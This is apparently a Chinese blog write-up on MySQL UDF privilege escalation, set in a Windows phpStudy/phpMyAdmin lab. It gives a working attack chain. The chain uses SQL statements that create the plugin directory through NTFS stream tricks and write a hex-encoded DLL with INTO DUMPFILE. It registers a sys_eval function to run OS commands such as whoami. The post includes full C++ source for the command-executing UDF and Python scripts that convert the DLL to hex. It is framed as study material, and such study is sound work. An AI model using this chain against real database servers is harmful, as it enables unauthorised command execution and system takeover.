Mysql UDF Attack
前言
最近不知道为啥,整很多东西都开始往细节去研究。趁这个五一假期吧UDF提权的整个流程都给研究透先。而不是仅仅限于怎么操作就算了(感觉像一个毫无感情的测试机器)。
本文主要是在参考了其他资料做的总结。因为很多前辈已经有现成的成果了。
环境
服务器:windows server 2008
web环境:phpStudy(php7,mysql5.5,apache2)
web应用:phpmyadmin
UDF相关知识介绍
收集了一波文章和论坛的资料,这里就不做详细文字介绍,简单几句话明了概括一下
来源于先知文章的一句话:
UDF是Mysql提供给用户实现自己功能的一个接口,为了使UDF机制起作用,函数必须用C或C ++编写,并且操作系统必须支持动态加载。
简单理解,mysql可以自定义函数(功能接口),而且该自定义的函数(功能接口)的具体实现方法可以写到DLL中,让mysql动态加载DLL即可。
就是说,我们只要编写动态连接库(DLL)让Mysql加载即可。
UDF利用
正常情况下我们遇到phpmyadmin弱口令,可执行任意SQL语句。
当然这个情况下我们通常有很多种方法进行getshell,后面其他篇章介绍。这里主要讲UDF
查看路径
查看mysql安装目录路径
select @@base_dir;
查看mysql插件目录路径
mysql插件目录可能有不存在的情况
通过adfs流的方式创建文件夹,虽然报错,但已经成功创建了
select 'test' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';
继续通过这个方式创建lib下的plugin目录
select 'test' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION';
写入插件目录
创建完成目录之后,将文件写入目标服务器的mysql插件目录中
因为我们现在只能操作sql语句,不支持直接上传文件因此有两种操作
- 通过loadfile加载,可用于本地加载或者网络加载
- 通过十六进制写入
本文主要介绍十六进制的方式直接写入文件
SELECT 十六进制字符串
INTO DUMPFILE "C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll"
在写入之前可以使用以下代码对dll文件进行转码转hex
import binascii
def main():
file_handle = open("mysql_udf_c++.dll").read()
print binascii.b2a_hex(file_handle)
if __name__ == "__main__":
main()
已写入目录中
导入函数(注意导入函数名需要与dll中的函数名对应,这个后面展开讲细节)
CREATE FUNCTION sys_eval RETURNS STRING SONAME "udf.dll"
命令执行成功
select sys_eval('whoami')
期间踩了不少坑。后面细节展开的时候讲。
一些细节相关
操作系统和mysql版本
mysql < 4.1
所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。(从一个博客上面复制下来的一句话)
4.1 <= mysql < 5.0
特定函数接口才可以调用
5.0 <= mysql <5.1
增加DLL位置限制
5.1 <= mysql
只能在plugin目录下且。
dll源码分析以及编译
可以直接使用现有的dll,也可以使用项目进行编译
https://xz.aliyun.com/t/2365
这片文章把源码贴出来了,使用visual studio code打开源码进行编译,有几处需要配置
(1)打开项目的.sln进行加载时若项目需要更新,则点击确定即可
(2)替换源码成可以自己想要的,我这边直接复制了他可以执行命令那部分的源码
#include <winsock.h>
#include <mysql.h>
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")
#include <stdio.h>
#include <windows.h>
#include <lm.h>
//--------
extern "C" __declspec(dllexport)my_bool sys_eval_init(UDF_INIT *initid,
UDF_ARGS *args,
char *message)
{ //参数长度
unsigned int i = 0;
if (args->arg_count == 1
&& args->arg_type[i] == STRING_RESULT) {
return 0;
}
else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
extern "C" __declspec(dllexport)char* sys_eval(UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error)
{
FILE *pipe;
char buff[1024];
unsigned long outlen, linelen;
// 开辟内存
result = (char*)malloc(sizeof(char));
outlen = 0;
// 创建管道
pipe = _popen(args->args[0], "r");
// 读取管道数据
while (fgets(buff, sizeof(buff), pipe) != NULL) {
linelen = strlen(buff);
result = (char*)realloc(result, outlen + linelen);
// 把管道内容拷贝进返回结果里
strncpy(result + outlen, buff, linelen);
outlen = outlen + linelen;
}
// 关闭管道
_pclose(pipe);
// 当*is_null被设置为1时,返回值为NULL
if (!(*result) || result == NULL) {
*is_null = 1;
}
else {
result[outlen] = 0x00;
*length = strlen(result);
}
// 返回结果
return result;
}
extern "C" __declspec(dllexport)void sys_eval_deinit(
UDF_INIT *initid)
{
if (initid->ptr)
{
free(initid->ptr);
}
}
(2)修改版本
(3)项目属性设置
导入源码之后肯定会缺mysql.h和libmysql.lib
mysql.h下载地址
https://downloads.mysql.com/archives/c-c/
设置附加包含目录指向mysql-connector-c-6.1.11-winx64\include
libmysql.lib确实要在链接器中加载
dll转hex
import binascii
def main():
file_handle = open("mysql_udf_c++.dll","rb").read()
#print len(file_handle)
print binascii.b2a_hex(file_handle)
if __name__ == "__main__":
main()
加载DLL
加载的时候可能会出现各种各样的报错,包括操作系统版本等等
在github上面看到了各个报错的情况的分析
https://github.com/mysqludf/lib_mysqludf_str/blob/master/README.win_x86.txt
引用
(本文参考了多个blog,可能出现贴漏的情况)
https://downloads.mysql.com/archives/c-c/
https://xz.aliyun.com/t/2719
https://shinpachi8.github.io/2017/09/03/mysql-udf-exploit-复现小记/
https://xz.aliyun.com/t/2365
https://xz.aliyun.com/t/2167
https://www.cnblogs.com/-mo-/p/11678990.html
https://paper.404sec.com/7815.html